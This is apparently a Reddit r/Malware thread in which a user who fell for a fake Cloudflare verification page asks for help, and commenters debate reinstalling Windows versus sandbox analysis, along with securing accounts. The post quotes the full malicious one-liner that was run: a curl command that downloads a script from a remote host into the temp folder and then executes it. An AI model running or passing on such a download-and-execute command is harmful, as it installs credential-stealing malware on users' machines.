r/Malware • • 10d ago

I accidentally got malware attack

so i stupidly got into this cloudfare website where it ask me to bypass the human test, I was aware this website looks sus and i still follow the step it told me.

set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\loop.txt 1441424556/980?If1OS7&& curl.exe -sLo %tmp%\S001.ps1 1441424556/990?If1OS7&& for /f "delims=" %i in (loop.txt) do %i

that’s the script i ran.

I noticed something wrong and remove my wifi and lan connection in 1 minute.

Checked temp folder and found S001 and loop files. Run offline windows security check no threat, check task scheduled nothing weird.

I also using kvrt now and it’s not done yet, also i already change all of my accounts credential from my emails, my apps like discords, steam and more. But i’m still afraid of the risk. Need someone to help me with this.

0 Upvotes

25 comments sorted by

2

u/MalwareDork 10d ago

Reimage. Pretty much the only way. I just recently had an incident where Windows can't pick up the signature of someone who got hit by some malware.

You're probably good enough to back up important files offline and do a clean reinstall.

0

u/TemporaryEar5780 10d ago

was thinking bout doing that

1

u/xThunderSlugx 10d ago

Should be doing that and not thinking about it.

1

u/RngdZed 10d ago

Can you throw those files safely in anyrun and/or virus total?

The ps1 part means that it downloaded a powershell script. With a bunch of commands in it. Looks like it looped over those commands to execute one after the other.

1

u/TemporaryEar5780 10d ago

i deleted them already but i think the file executed itself already but i still can’t find the trace of suspicious running programs

1

u/Juzdeed 10d ago

The info stealer took your passwords and session and then exited

1

u/TemporaryEar5780 10d ago

yea luckily i already change all passwords and turn on all mfa and remove all devices from all my emails and accounts. I did it right after I realize it’s a virus, so far all my accounts are safe but not my pc tho

1

u/xThunderSlugx 10d ago

No need, they downloaded malware.

1

u/RngdZed 10d ago

Of course they did. But it could give op some ideas on what was done.

1

u/xThunderSlugx 10d ago

Doesn't matter what was done. They ran a powershell script that executed a series of commands on their computer. They need to reinstall windows to 100% get rid of the infection and use a different device to resecure all accounts. Lesson learned that we don't do stupid things on the internet, especially when they admitted that they were already skeptical of the website.

1

u/RngdZed 10d ago

No it does matter, you can reverse the damage if you know what happened. As long as you get proper info on the commands used. It's not 100% sure that Op ran the latest zero day. It might be some old shit that got blocked by windows defender or something that was patched a 100 years ago.

1

u/MalwareDork 9d ago

You honestly can't and I've been at this for over 20 years.

Currently, the "best" way is to drop the malware sample into a sandbox and see:

  • What registry values were changed
  • What files were dropped in
  • What .dll's were added/changed
  • What tunnels were opened
  • Dump the live RAM and see what hidden blobs are LoL
  • What processes have been created
  • What processes have been disabled
  • What API's were created

And then you're going to need to compare all of that to a non-sandboxed honeypot and see what you missed. If you even can. All it takes is one slip in a hidden registry for a sleeper dropper to fire back up in a few months and cause problems all over again.

1

u/RngdZed 9d ago

That's the thing I'm saying. We have no clue what op ran. It could be some random script who failed because of a typo, or some old poc scipt that no longer works because the vulnerability that it targets was patched. You'd never tell a client "dang let's wipe your whole system". There's a process involved and steps to be taken to make sure nothing is missed.

Of course it makes everything easy when a client follow basic security rules like 321 etc..

We clearly disagree on the process here. I'd be the kind to gather knowledge and information to learn from my mistakes. Which I did plenty of times.

1

u/MalwareDork 9d ago

That's actually what I tell every client. They get to pick up a new (thin client) system and the original system gets imaged twice for chain of custody on the primary, inspection on the secondary and the original gets wiped and redeployed.

It's absolutely insane to not reimage an affected device and redeploy it into a production environment.

2

u/RngdZed 9d ago

ah, thats something i can agree with. thanks for being a sane voice out there ;)

1

u/MalwareDork 9d ago

Please, don't think I'm being rude either; I can totally get what you're saying and that is an old-school thought process. We did just that in the 2000's and early 2010's after running a thumbdrive Malwarebytes and changing registry values back.

Unfortunately with today, you just get these crazy workaround droppers that most corporate-level EDR's can't pick up, let alone Microsoft Defender for home users. Like I just had one at one of my corporate locations and only Crowdstrike was able to pick it up as a 2-month delayed dropper. It probably changed about 182 registries, downloaded about 390 .dll files and ran 40-some hidden .exe processes in the span of about 30 seconds. This is set up to be run hidden until it gets rotated into the backups and ruins the company's redeployments upwards of two months.

But the business can eat the cost of restoring from backups. An individual can't if they lose their bank account and money; they'll be homeless.

1

u/xThunderSlugx 10d ago

Bro what? Don't you think that if the shit was blocked by defender that defender would have popped up in the bottom right hand of the screen saying it blocked those actions? That makes no sense....

2

u/RngdZed 10d ago

If he nukes the system he has zero info on what happened. He gets no info if it's just a random crypto thief (and if op has no crypto, then his accounts are safe)

Maybe it tried to steal his steam account info/login, then knowing that he could protect his steam wallet/items by getting in touch with steam support...

Prepare, identify, contain, eradicate, recover, lesson learned...

1

u/xThunderSlugx 10d ago

And when you go in to revoke all active sessions you will see if it is logged in anywhere but by you. So when you see that you are logged into steam from Russia and your stuff has been tampered with, you can advise steam that you didn't do anything from a Russian log in when you live in *insert anywhere else*. This applies to any and all of their accounts. The op was not smart enough to not run a clickfix from a website they already stated they didn't trust. I assume they are blindly pirating with no clue what they are doing. They aren't going to be able to identify what malware they may or may not have had. The best thing they can do is nuke their system to eradicate it. They can kick the intruders out and lock them out with new passwords and MFA and move on.

1

u/RngdZed 10d ago

He might not be able to investigate by himself, but there's plenty of forums out there who specializes in cleanups for the kind of mistakes op did.

I've cleaned up systems way back in the days using simple tools and such experts' help.

Malwarebytes, adwcleaner, hell even hijackthis from the early 2000s was easy to use for a dummy like me who was downloading shady things from limewire/frostwire ..

1

u/xThunderSlugx 10d ago

Or, OP can just do the safe thing and reinstall windows and be done with it and learn the hard lesson of not to download things when you don't know what you are doing. If you are pirating, then you need to be prepared to lose everything on your computer. It is just the nature of the beast.

→ More replies

1

u/xThunderSlugx 10d ago

Leave your computer offline. On a different computer use a USB to get a clean install of windows using windows media creation tool. Plug USB into your computer and boot into bios. Completely nuke everything, all disks and partitions, and do a clean install. While you are on the other non infected pc, revoke all active sessions from all accounts, change all passwords, and enable MFA. This is the only answer.

2

u/TemporaryEar5780 10d ago

yea i already disconnected the pc from wifi 1 minute after i realize that’s a virus. I already change every single account password through my phone including removing devices. And i did enabled all MFA too. For now all accounts are safe i already checked and no suspicious things happen to my account. But the pc i ran multiple things all of these while offline, from windows offline scan, kvrt, frts and securitycheck. But I think it’s too long and after all this i think i will just reinstall my pc.